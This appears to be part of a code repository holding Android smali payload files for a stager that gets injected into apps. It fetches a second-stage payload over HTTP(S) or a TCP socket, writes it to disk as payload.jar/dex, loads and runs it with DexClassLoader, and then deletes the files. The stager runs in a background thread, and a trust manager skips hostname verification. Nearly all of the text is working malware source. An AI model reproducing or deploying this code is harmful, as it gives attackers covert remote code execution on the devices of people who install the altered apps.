Ljava/lang/StringBuilder;->append(C)Ljava/lang/StringBuilder; 334 | 335 | move-result-object v9 336 | 337 | const-string v10, "payload.jar" 338 | 339 | invoke-virtual {v9, v10}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder; 340 | 341 | move-result-object v9 342 | 343 | invoke-virtual {v9}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String; 344 | 345 | move-result-object v4 346 | 347 | .line 131 348 | .local v4, "filePath":Ljava/lang/String; 349 | new-instance v9, Ljava/lang/StringBuilder; 350 | 351 | invoke-direct {v9}, Ljava/lang/StringBuilder;->()V 352 | 353 | invoke-virtual {v9, v7}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder; 354 | 355 | move-result-object v9 356 | 357 | sget-char v10, Ljava/io/File;->separatorChar:C 358 | 359 | invoke-virtual {v9, v10}, Ljava/lang/StringBuilder;->append(C)Ljava/lang/StringBuilder; 360 | 361 | move-result-object v9 362 | 363 | const-string v10, "payload.dex" 364 | 365 | invoke-virtual {v9, v10}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder; 366 | 367 | move-result-object v9 368 | 369 | invoke-virtual {v9}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String; 370 | 371 | move-result-object v2 372 | 373 | .line 132 374 | .local v2, "dexPath":Ljava/lang/String; 375 | invoke-virtual {p0}, Ljava/io/DataInputStream;->readInt()I 376 | 377 | move-result v9 378 | 379 | new-array v1, v9, [B 380 | 381 | .line 133 382 | .local v1, "core":[B 383 | invoke-virtual {p0, v1}, Ljava/io/DataInputStream;->readFully([B)V 384 | 385 | .line 134 386 | new-instance v0, Ljava/lang/String; 387 | 388 | invoke-direct {v0, v1}, Ljava/lang/String;->([B)V 389 | 390 | .line 135 391 | .local v0, "classFile":Ljava/lang/String; 392 | invoke-virtual {p0}, Ljava/io/DataInputStream;->readInt()I 393 | 394 | move-result v9 395 | 396 | new-array v1, v9, [B 397 | 398 | .line 136 399 | invoke-virtual {p0, v1}, Ljava/io/DataInputStream;->readFully([B)V 400 | 401 | .line 137 402 | new-instance v3, Ljava/io/File; 403 | 404 | invoke-direct {v3, v4}, Ljava/io/File;->(Ljava/lang/String;)V 405 | 406 | .line 138 407 | .local v3, "file":Ljava/io/File; 408 | invoke-virtual {v3}, Ljava/io/File;->exists()Z 409 | 410 | move-result v9 411 | 412 | if-nez v9, :cond_0 413 | 414 | .line 139 415 | invoke-virtual {v3}, Ljava/io/File;->createNewFile()Z 416 | 417 | .line 141 418 | :cond_0 419 | new-instance v5, Ljava/io/FileOutputStream; 420 | 421 | invoke-direct {v5, v3}, Ljava/io/FileOutputStream;->(Ljava/io/File;)V 422 | 423 | .line 142 424 | .local v5, "fop":Ljava/io/FileOutputStream; 425 | invoke-virtual {v5, v1}, Ljava/io/FileOutputStream;->write([B)V 426 | 427 | .line 143 428 | invoke-virtual {v5}, Ljava/io/FileOutputStream;->flush()V 429 | 430 | .line 144 431 | invoke-virtual {v5}, Ljava/io/FileOutputStream;->close()V 432 | 433 | .line 145 434 | new-instance v9, Ldalvik/system/DexClassLoader; 435 | 436 | const-class v10, PLACEHOLDER/HttpsActivity; 437 | 438 | invoke-virtual {v10}, Ljava/lang/Class;->getClassLoader()Ljava/lang/ClassLoader; 439 | 440 | move-result-object v10 441 | 442 | invoke-direct {v9, v4, v7, v7, v10}, Ldalvik/system/DexClassLoader;->(Ljava/lang/String;Ljava/lang/String;Ljava/lang/String;Ljava/lang/ClassLoader;)V 443 | 444 | invoke-virtual {v9, v0}, Ldalvik/system/DexClassLoader;->loadClass(Ljava/lang/String;)Ljava/lang/Class; 445 | 446 | move-result-object v6 447 | 448 | .line 146 449 | .local v6, "myClass":Ljava/lang/Class;, "Ljava/lang/Class<*>;" 450 | invoke-virtual {v6}, Ljava/lang/Class;->newInstance()Ljava/lang/Object; 451 | 452 | move-result-object v8 453 | 454 | .line 147 455 | .local v8, "stage":Ljava/lang/Object; 456 | invoke-virtual {v3}, Ljava/io/File;->delete()Z 457 | 458 | .line 148 459 | new-instance v9, Ljava/io/File; 460 | 461 | invoke-direct {v9, v2}, Ljava/io/File;->(Ljava/lang/String;)V 462 | 463 | invoke-virtual {v9}, Ljava/io/File;->delete()Z 464 | 465 | .line 149 466 | const-string v9, "start" 467 | 468 | const/4 v10, 0x3 469 | 470 | new-array v10, v10, [Ljava/lang/Class; 471 | 472 | const/4 v11, 0x0 473 | 474 | const-class v12, Ljava/io/DataInputStream; 475 | 476 | aput-object v12, v10, v11 477 | 478 | const/4 v11, 0x1 479 | 480 | const-class v12, Ljava/io/OutputStream; 481 | 482 | aput-object v12, v10, v11 483 | 484 | const/4 v11, 0x2 485 | 486 | const-class v12, [Ljava/lang/String; 487 | 488 | aput-object v12, v10, v11 489 | 490 | invoke-virtual {v6, v9, v10}, Ljava/lang/Class;->getMethod(Ljava/lang/String;[Ljava/lang/Class;)Ljava/lang/reflect/Method; 491 | 492 | move-result-object v9 493 | 494 | const/4 v10, 0x3 495 | 496 | new-array v10, v10, [Ljava/lang/Object; 497 | 498 | const/4 v11, 0x0 499 | 500 | aput-object p0, v10, v11 501 | 502 | const/4 v11, 0x1 503 | 504 | aput-object p1, v10, v11 505 | 506 | const/4 v11, 0x2 507 | 508 | aput-object p2, v10, v11 509 | 510 | invoke-virtual {v9, v8, v10}, Ljava/lang/reflect/Method;->invoke(Ljava/lang/Object;[Ljava/lang/Object;)Ljava/lang/Object; 511 | 512 | .line 150 513 | const-wide/16 v10, -0x1 514 | 515 | sput-wide v10, PLACEHOLDER/HttpsActivity;->session_expiry:J 516 | 517 | .line 151 518 | return-void 519 | .end method 520 | 521 | .method private static runStageFromHTTP(Ljava/lang/String;)V 522 | .locals 8 523 | .param p0, "url" # Ljava/lang/String; 524 | .annotation system Ldalvik/annotation/Throws; 525 | value = { 526 | Ljava/lang/Exception; 527 | } 528 | .end annotation 529 | 530 | .prologue 531 | const/4 v7, 0x1 532 | 533 | const/4 v6, 0x0 534 | 535 | .line 101 536 | const-string v2, "https" 537 | 538 | invoke-virtual {p0, v2}, Ljava/lang/String;->startsWith(Ljava/lang/String;)Z 539 | 540 | move-result v2 541 | 542 | if-eqz v2, :cond_0 543 | 544 | .line 102 545 | new-instance v2, Ljava/net/URL; 546 | 547 | invoke-direct {v2, p0}, Ljava/net/URL;->(Ljava/lang/String;)V 548 | 549 | invoke-virtual {v2}, Ljava/net/URL;->openConnection()Ljava/net/URLConnection; 550 | 551 | move-result-object v1 552 | 553 | .line 103 554 | .local v1, "uc":Ljava/net/URLConnection; 555 | const-string v2, "OILYOLO" 556 | 557 | invoke-static {v2}, Ljava/lang/Class;->forName(Ljava/lang/String;)Ljava/lang/Class; 558 | 559 | move-result-object v2 560 | 561 | const-string v3, "useFor" 562 | 563 | new-array v4, v7, [Ljava/lang/Class; 564 | 565 | const-class v5, Ljava/net/URLConnection; 566 | 567 | aput-object v5, v4, v6 568 | 569 | invoke-virtual {v2, v3, v4}, Ljava/lang/Class;->getMethod(Ljava/lang/String;[Ljava/lang/Class;)Ljava/lang/reflect/Method; 570 | 571 | move-result-object v2 572 | 573 | const/4 v3, 0x0 574 | 575 | new-array v4, v7, [Ljava/lang/Object; 576 | 577 | aput-object v1, v4, v6 578 | 579 | invoke-virtual {v2, v3, v4}, Ljava/lang/reflect/Method;->invoke(Ljava/lang/Object;[Ljava/lang/Object;)Ljava/lang/Object; 580 | 581 | .line 104 582 | invoke-virtual {v1}, Ljava/net/URLConnection;->getInputStream()Ljava/io/InputStream; 583 | 584 | move-result-object v0 585 | 586 | .line 108 587 | .end local v1 # "uc":Ljava/net/URLConnection; 588 | .local v0, "inStream":Ljava/io/InputStream; 589 | :goto_0 590 | new-instance v2, Ljava/io/DataInputStream; 591 | 592 | invoke-direct {v2, v0}, Ljava/io/DataInputStream;->(Ljava/io/InputStream;)V 593 | 594 | new-instance v3, Ljava/io/ByteArrayOutputStream; 595 | 596 | invoke-direct {v3}, Ljava/io/ByteArrayOutputStream;->()V 597 | 598 | sget-object v4, PLACEHOLDER/HttpsActivity;->parameters:[Ljava/lang/String; 599 | 600 | invoke-static {v2, v3, v4}, PLACEHOLDER/HttpsActivity;->readAndRunStage(Ljava/io/DataInputStream;Ljava/io/OutputStream;[Ljava/lang/String;)V 601 | 602 | .line 109 603 | return-void 604 | 605 | .line 106 606 | .end local v0 # "inStream":Ljava/io/InputStream; 607 | :cond_0 608 | new-instance v2, Ljava/net/URL; 609 | 610 | invoke-direct {v2, p0}, Ljava/net/URL;->(Ljava/lang/String;)V 611 | 612 | invoke-virtual {v2}, Ljava/net/URL;->openStream()Ljava/io/InputStream; 613 | 614 | move-result-object v0 615 | 616 | .restart local v0 # "inStream":Ljava/io/InputStream; 617 | goto :goto_0 618 | .end method 619 | 620 | .method private static runStagefromTCP(Ljava/lang/String;)V 621 | .locals 8 622 | .param p0, "url" # Ljava/lang/String; 623 | .annotation system Ldalvik/annotation/Throws; 624 | value = { 625 | Ljava/lang/Exception; 626 | } 627 | .end annotation 628 | 629 | .prologue 630 | const/4 v7, 0x2 631 | 632 | .line 113 633 | const-string v5, ":" 634 | 635 | invoke-virtual {p0, v5}, Ljava/lang/String;->split(Ljava/lang/String;)[Ljava/lang/String; 636 | 637 | move-result-object v1 638 | 639 | .line 114 640 | .local v1, "parts":[Ljava/lang/String; 641 | aget-object v5, v1, v7 642 | 643 | invoke-static {v5}, Ljava/lang/Integer;->parseInt(Ljava/lang/String;)I 644 | 645 | move-result v2 646 | 647 | .line 115 648 | .local v2, "port":I 649 | const/4 v5, 0x1 650 | 651 | aget-object v5, v1, v5 652 | 653 | const-string v6, "/" 654 | 655 | invoke-virtual {v5, v6}, Ljava/lang/String;->split(Ljava/lang/String;)[Ljava/lang/String; 656 | 657 | move-result-object v5 658 | 659 | aget-object v0, v5, v7 660 | 661 | .line 116 662 | .local v0, "host":Ljava/lang/String; 663 | const-string v5, "" 664 | 665 | invoke-virtual {v0, v5}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z 666 | 667 | move-result v5 668 | 669 | if-eqz v5, :cond_1 670 | 671 | .line 117 672 | new-instance v3, Ljava/net/ServerSocket; 673 | 674 | invoke-direct {v3, v2}, Ljava/net/ServerSocket;->(I)V 675 | 676 | .line 118 677 | .local v3, "server":Ljava/net/ServerSocket; 678 | invoke-virtual {v3}, Ljava/net/ServerSocket;->accept()Ljava/net/Socket; 679 | 680 | move-result-object v4 681 | 682 | .line 119 683 | .local v4, "sock":Ljava/net/Socket; 684 | invoke-virtual {v3}, Ljava/net/ServerSocket;->close()V 685 | 686 | .line 123 687 | .end local v3 # "server":Ljava/net/ServerSocket; 688 | :goto_0 689 | if-eqz v4, :cond_0 690 | 691 | .line 124 692 | new-instance v5, Ljava/io/DataInputStream; 693 | 694 | invoke-virtual {v4}, Ljava/net/Socket;->getInputStream()Ljava/io/InputStream; 695 | 696 | move-result-object v6 697 | 698 | invoke-direct {v5, v6}, Ljava/io/DataInputStream;->(Ljava/io/InputStream;)V 699 | 700 | new-instance v6, Ljava/io/DataOutputStream; 701 | 702 | invoke-virtual {v4}, Ljava/net/Socket;->getOutputStream()Ljava/io/OutputStream; 703 | 704 | move-result-object v7 705 | 706 | invoke-direct {v6, v7}, Ljava/io/DataOutputStream;->(Ljava/io/OutputStream;)V 707 | 708 | sget-object v7, PLACEHOLDER/HttpsActivity;->parameters:[Ljava/lang/String; 709 | 710 | invoke-static {v5, v6, v7}, PLACEHOLDER/HttpsActivity;->readAndRunStage(Ljava/io/DataInputStream;Ljava/io/OutputStream;[Ljava/lang/String;)V 711 | 712 | .line 126 713 | :cond_0 714 | return-void 715 | 716 | .line 121 717 | .end local v4 # "sock":Ljava/net/Socket; 718 | :cond_1 719 | new-instance v4, Ljava/net/Socket; 720 | 721 | invoke-direct {v4, v0, v2}, Ljava/net/Socket;->(Ljava/lang/String;I)V 722 | 723 | .restart local v4 # "sock":Ljava/net/Socket; 724 | goto :goto_0 725 | .end method 726 | 727 | .method public static start(Landroid/content/Context;)V 728 | .locals 1 729 | .param p0, "context" # Landroid/content/Context; 730 | 731 | .prologue 732 | .line 38 733 | invoke-virtual {p0}, Landroid/content/Context;->getFilesDir()Ljava/io/File; 734 | 735 | move-result-object v0 736 | 737 | invoke-virtual {v0}, Ljava/io/File;->toString()Ljava/lang/String; 738 | 739 | move-result-object v0 740 | 741 | invoke-static {v0}, PLACEHOLDER/HttpsActivity;->startInPath(Ljava/lang/String;)V 742 | 743 | .line 39 744 | return-void 745 | .end method 746 | 747 | .method public static startAsync()V 748 | .locals 1 749 | 750 | .prologue 751 | .line 42 752 | new-instance v0, PLACEHOLDER/HttpsActivity1; 753 | 754 | invoke-direct {v0}, PLACEHOLDER/HttpsActivity1;->()V 755 | 756 | .line 50 757 | invoke-virtual {v0}, PLACEHOLDER/HttpsActivity1;->start()V 758 | 759 | .line 51 760 | return-void 761 | .end method 762 | 763 | .method public static startInPath(Ljava/lang/String;)V 764 | .locals 2 765 | .param p0, "path" # Ljava/lang/String; 766 | 767 | .prologue 768 | .line 54 769 | const/4 v0, 0x1 770 | 771 | new-array v0, v0, [Ljava/lang/String; 772 | 773 | const/4 v1, 0x0 774 | 775 | aput-object p0, v0, v1 776 | 777 | sput-object v0, PLACEHOLDER/HttpsActivity;->parameters:[Ljava/lang/String; 778 | 779 | .line 55 780 | invoke-static {}, PLACEHOLDER/HttpsActivity;->startAsync()V 781 | 782 | .line 56 783 | return-void 784 | .end method 785 | -------------------------------------------------------------------------------- /payload/HttpsActivity1.smali: -------------------------------------------------------------------------------- 1 | .class final PLACEHOLDER/HttpsActivity1; 2 | .super Ljava/lang/Thread; 3 | .source "SourceFile" 4 | 5 | 6 | # annotations 7 | .annotation system Ldalvik/annotation/EnclosingMethod; 8 | value = PLACEHOLDER/HttpsActivity;->startAsync()V 9 | .end annotation 10 | 11 | .annotation system Ldalvik/annotation/InnerClass; 12 | accessFlags = 0x8 13 | name = null 14 | .end annotation 15 | 16 | 17 | # direct methods 18 | .method constructor ()V 19 | .locals 0 20 | 21 | .prologue 22 | .line 42 23 | invoke-direct {p0}, Ljava/lang/Thread;->()V 24 | 25 | return-void 26 | .end method 27 | 28 | 29 | # virtual methods 30 | .method public run()V 31 | .locals 2 32 | 33 | .prologue 34 | .line 45 35 | const/4 v1, 0x0 36 | 37 | :try_start_0 38 | invoke-static {v1}, PLACEHOLDER/HttpsActivity;->main([Ljava/lang/String;)V 39 | :try_end_0 40 | .catch Ljava/lang/Exception; {:try_start_0 .. :try_end_0} :catch_0 41 | 42 | .line 49 43 | :goto_0 44 | return-void 45 | 46 | .line 46 47 | :catch_0 48 | move-exception v0 49 | 50 | .line 47 51 | .local v0, "e":Ljava/lang/Exception; 52 | invoke-virtual {v0}, Ljava/lang/Exception;->printStackTrace()V 53 | 54 | goto :goto_0 55 | .end method 56 | -------------------------------------------------------------------------------- /payload/PayloadTrustManager.smali: -------------------------------------------------------------------------------- 1 | .class public PLACEHOLDER/PayloadTrustManager; 2 | .super Ljava/lang/Object; 3 | .source "SourceFile" 4 | 5 | # interfaces 6 | .implements Ljavax/net/ssl/X509TrustManager; 7 | .implements Ljavax/net/ssl/HostnameVerifier; 8 | 9 | 10 | # direct methods 11 | .method public constructor ()V 12 | .locals 0 13 | 14 | .prologue 15 | .line 22 16 | invoke-direct {p0}, Ljava/lang/Object;->()V 17 | 18 | return-void 19 | .end method 20 | 21 | .method public static bytesToHex([B)Ljava/lang/String; 22 | .locals 6 23 | .param p0, "bytes" # [B 24 | 25 | .prologue 26 | .line 35 27 | const/16 v3, 0x10 28 | 29 | new-array v2, v3, [C 30 | 31 | fill-array-data v2, :array_0 32 | 33 | .line 36 34 | .local v2, "hexDigits":[C 35 | new-instance v1, Ljava/lang/StringBuilder; 36 | 37 | array-length v3, p0 38 | 39 | mul-int/lit8 v3, v3, 0x2 40 | 41 | invoke-direct {v1, v3}, Ljava/lang/StringBuilder;->(I)V 42 | 43 | .line 37 44 | .local v1, "buf":Ljava/lang/StringBuilder; 45 | array-length v4, p0 46 | 47 | const/4 v3, 0x0 48 | 49 | :goto_0 50 | if-ge v3, v4, :cond_0 51 | 52 | aget-byte v0, p0, v3 53 | 54 | .line 38 55 | .local v0, "aByte":B 56 | and-int/lit16 v5, v0, 0xf0 57 | 58 | shr-int/lit8 v5, v5, 0x4 59 | 60 | aget-char v5, v2, v5 61 | 62 | invoke-virtual {v1, v5}, Ljava/lang/StringBuilder;->append(C)Ljava/lang/StringBuilder; 63 | 64 | .line 39 65 | and-int/lit8 v5, v0, 0xf 66 | 67 | aget-char v5, v2, v5 68 | 69 | invoke-virtual {v1, v5}, Ljava/lang/StringBuilder;->append(C)Ljava/lang/StringBuilder; 70 | 71 | .line 37 72 | add-int/lit8 v3, v3, 0x1 73 | 74 | goto :goto_0 75 | 76 | .line 41 77 | .end local v0 # "aByte":B 78 | :cond_0 79 | invoke-virtual {v1}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String; 80 | 81 | move-result-object v3 82 | 83 | return-object v3 84 | 85 | .line 35 86 | nop 87 | 88 | :array_0 89 | .array-data 2 90 | 0x30s 91 | 0x31s 92 | 0x32s 93 | 0x33s 94 | 0x34s 95 | 0x35s 96 | 0x36s 97 | 0x37s 98 | 0x38s 99 | 0x39s 100 | 0x61s 101 | 0x62s 102 | 0x63s 103 | 0x64s 104 | 0x65s 105 | 0x66s 106 | .end array-data 107 | .end method 108 | 109 | .method public static getCertificateSHA1(Ljava/security/cert/X509Certificate;)Ljava/lang/String; 110 | .locals 2 111 | .param p0, "cert" # Ljava/security/cert/X509Certificate; 112 | .annotation system Ldalvik/annotation/Throws; 113 | value = { 114 | Ljava/security/NoSuchAlgorithmException;, 115 | Ljava/security/cert/CertificateEncodingException; 116 | } 117 | .end annotation 118 | 119 | .prologue 120 | .line 29 121 | const-string v1, "SHA-1" 122 | 123 | invoke-static {v1}, Ljava/security/MessageDigest;->getInstance(Ljava/lang/String;)Ljava/security/MessageDigest; 124 | 125 | move-result-object v0 126 | 127 | .line 30 128 | .local v0, "md":Ljava/security/MessageDigest; 129 | invoke-virtual {p0}, Ljava/security/cert/X509Certificate;->getEncoded()[B 130 | 131 | move-result-object v1 132 | 133 | invoke-virtual {v0, v1}, Ljava/security/MessageDigest;->update([B)V 134 | 135 | .line 31 136 | invoke-virtual {v0}, Ljava/security/MessageDigest;->digest()[B 137 | 138 | move-result-object v1 139 | 140 | invoke-static {v1}, PLACEHOLDER/PayloadTrustManager;->bytesToHex([B)Ljava/lang/String; 141 | 142 | move-result-object v1 143 | 144 | return-object v1 145 | .end method 146 | 147 | .method public static useFor(Ljava/net/URLConnection;)V 148 | .locals 6 149 | .param p0, "uc" # Ljava/net/URLConnection; 150 | .annotation system Ldalvik/annotation/Throws; 151 | value = { 152 | Ljava/lang/Exception; 153 | } 154 | .end annotation 155 | 156 | .prologue 157 | .line 75 158 | instance-of v3, p0, Ljavax/net/ssl/HttpsURLConnection; 159 | 160 | if-eqz v3, :cond_0 161 | 162 | move-object v0, p0 163 | 164 | .line 76 165 | check-cast v0, Ljavax/net/ssl/HttpsURLConnection; 166 | 167 | .line 77 168 | .local v0, "huc":Ljavax/net/ssl/HttpsURLConnection; 169 | new-instance v1, PLACEHOLDER/PayloadTrustManager; 170 | 171 | invoke-direct {v1}, PLACEHOLDER/PayloadTrustManager;->()V 172 | 173 | .line 78 174 | .local v1, "ptm":PLACEHOLDER/PayloadTrustManager; 175 | const-string v3, "SSL" 176 | 177 | invoke-static {v3}, Ljavax/net/ssl/SSLContext;->getInstance(Ljava/lang/String;)Ljavax/net/ssl/SSLContext; 178 | 179 | move-result-object v2 180 | 181 | .line 79 182 | .local v2, "sc":Ljavax/net/ssl/SSLContext; 183 | const/4 v3, 0x0 184 | 185 | const/4 v4, 0x1 186 | 187 | new-array v4, v4, [Ljavax/net/ssl/TrustManager; 188 | 189 | const/4 v5, 0x0 190 | 191 | aput-object v1, v4, v5 192 | 193 | new-instance v5, Ljava/security/SecureRandom; 194 | 195 | invoke-direct {v5}, Ljava/security/SecureRandom;->()V 196 | 197 | invoke-virtual {v2, v3, v4, v5}, Ljavax/net/ssl/SSLContext;->init([Ljavax/net/ssl/KeyManager;[Ljavax/net/ssl/TrustManager;Ljava/security/SecureRandom;)V 198 | 199 | .line 80 200 | invoke-virtual {v2}, Ljavax/net/ssl/SSLContext;->getSocketFactory()Ljavax/net/ssl/SSLSocketFactory; 201 | 202 | move-result-object v3 203 | 204 | invoke-virtual {v0, v3}, Ljavax/net/ssl/HttpsURLConnection;->setSSLSocketFactory(Ljavax/net/ssl/SSLSocketFactory;)V 205 | 206 | .line 81 207 | invoke-virtual {v0, v1}, Ljavax/net/ssl/HttpsURLConnection;->setHostnameVerifier(Ljavax/net/ssl/HostnameVerifier;)V 208 | 209 | .line 83 210 | .end local v0 # "huc":Ljavax/net/ssl/HttpsURLConnection; 211 | .end local v1 # "ptm":PLACEHOLDER/PayloadTrustManager; 212 | .end local v2 # "sc":Ljavax/net/ssl/SSLContext; 213 | :cond_0 214 | return-void 215 | .end method 216 | 217 | 218 | # virtual methods 219 | .method public checkClientTrusted([Ljava/security/cert/X509Certificate;Ljava/lang/String;)V 220 | .locals 0 221 | .param p1, "certs" # [Ljava/security/cert/X509Certificate; 222 | .param p2, "authType" # Ljava/lang/String; 223 | 224 | .prologue 225 | .line 45 226 | return-void 227 | .end method 228 | 229 | .method public checkServerTrusted([Ljava/security/cert/X509Certificate;Ljava/lang/String;)V 230 | .locals 7 231 | .param p1, "certs" # [Ljava/security/cert/X509Certificate; 232 | .param p2, "authType" # Ljava/lang/String; 233 | .annotation system Ldalvik/annotation/Throws; 234 | value = { 235 | Ljava/security/cert/CertificateException; 236 | } 237 | .end annotation 238 | 239 | .prologue 240 | .line 48 241 | const-string v5, "WWWW" 242 | 243 | const/4 v6, 0x4 244 | 245 | invoke-virtual {v5, v6}, Ljava/lang/String;->substring(I)Ljava/lang/String; 246 | 247 | move-result-object v5 248 | 249 | invoke-virtual {v5}, Ljava/lang/String;->trim()Ljava/lang/String; 250 | 251 | move-result-object v4 252 | 253 | .line 49 254 | .local v4, "payloadHash":Ljava/lang/String; 255 | invoke-virtual {v4}, Ljava/lang/String;->length()I 256 | 257 | move-result v5 258 | 259 | if-eqz v5, :cond_3 260 | 261 | .line 50 262 | if-eqz p1, :cond_0 263 | 264 | array-length v5, p1 265 | 266 | const/4 v6, 0x1 267 | 268 | if-ge v5, v6, :cond_1 269 | 270 | .line 51 271 | :cond_0 272 | new-instance v5, Ljava/security/cert/CertificateException; 273 | 274 | invoke-direct {v5}, Ljava/security/cert/CertificateException;->()V 275 | 276 | throw v5 277 | 278 | .line 53 279 | :cond_1 280 | move-object v0, p1 281 | 282 | .line 54 283 | .local v0, "arr$":[Ljava/security/cert/X509Certificate; 284 | array-length v3, v0 285 | 286 | .line 55 287 | .local v3, "len$":I 288 | const/4 v2, 0x0 289 | 290 | .line 56 291 | .local v2, "i$":I 292 | :goto_0 293 | if-ge v2, v3, :cond_3 294 | 295 | .line 58 296 | :try_start_0 297 | aget-object v5, v0, v2 298 | 299 | invoke-static {v5}, PLACEHOLDER/PayloadTrustManager;->getCertificateSHA1(Ljava/security/cert/X509Certificate;)Ljava/lang/String; 300 | 301 | move-result-object v5 302 | 303 | invoke-virtual {v5, v4}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z 304 | 305 | move-result v5 306 | 307 | if-eqz v5, :cond_2 308 | 309 | .line 59 310 | add-int/lit8 v2, v2, 0x1 311 | 312 | goto :goto_0 313 | 314 | .line 61 315 | :cond_2 316 | new-instance v5, Ljava/security/cert/CertificateException; 317 | 318 | const-string v6, "Invalid certificate" 319 | 320 | invoke-direct {v5, v6}, Ljava/security/cert/CertificateException;->(Ljava/lang/String;)V 321 | 322 | throw v5 323 | :try_end_0 324 | .catch Ljava/lang/Exception; {:try_start_0 .. :try_end_0} :catch_0 325 | 326 | .line 63 327 | :catch_0 328 | move-exception v1 329 | 330 | .line 64 331 | .local v1, "e":Ljava/lang/Exception; 332 | new-instance v5, Ljava/security/cert/CertificateException; 333 | 334 | invoke-direct {v5, v1}, Ljava/security/cert/CertificateException;->(Ljava/lang/Throwable;)V 335 | 336 | throw v5 337 | 338 | .line 68 339 | .end local v0 # "arr$":[Ljava/security/cert/X509Certificate; 340 | .end local v1 # "e":Ljava/lang/Exception; 341 | .end local v2 # "i$":I 342 | .end local v3 # "len$":I 343 | :cond_3 344 | return-void 345 | .end method 346 | 347 | .method public getAcceptedIssuers()[Ljava/security/cert/X509Certificate; 348 | .locals 1 349 | 350 | .prologue 351 | .line 25 352 | const/4 v0, 0x0 353 | 354 | new-array v0, v0, [Ljava/security/cert/X509Certificate; 355 | 356 | return-object v0 357 | .end method 358 | 359 | .method public verify(Ljava/lang/String;Ljavax/net/ssl/SSLSession;)Z 360 | .locals 1 361 | .param p1, "hostname" # Ljava/lang/String; 362 | .param p2, "session" # Ljavax/net/ssl/SSLSession; 363 | 364 | .prologue 365 | .line 71 366 | const/4 v0, 0x1 367 | 368 | return v0 369 | .end method 370 | -------------------------------------------------------------------------------- /payload/mykey.keystore: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/sensepost/kwetza/0e5027203ab80c488a280eca983691fede9a35f4/payload/mykey.keystore --------------------------------------------------------------------------------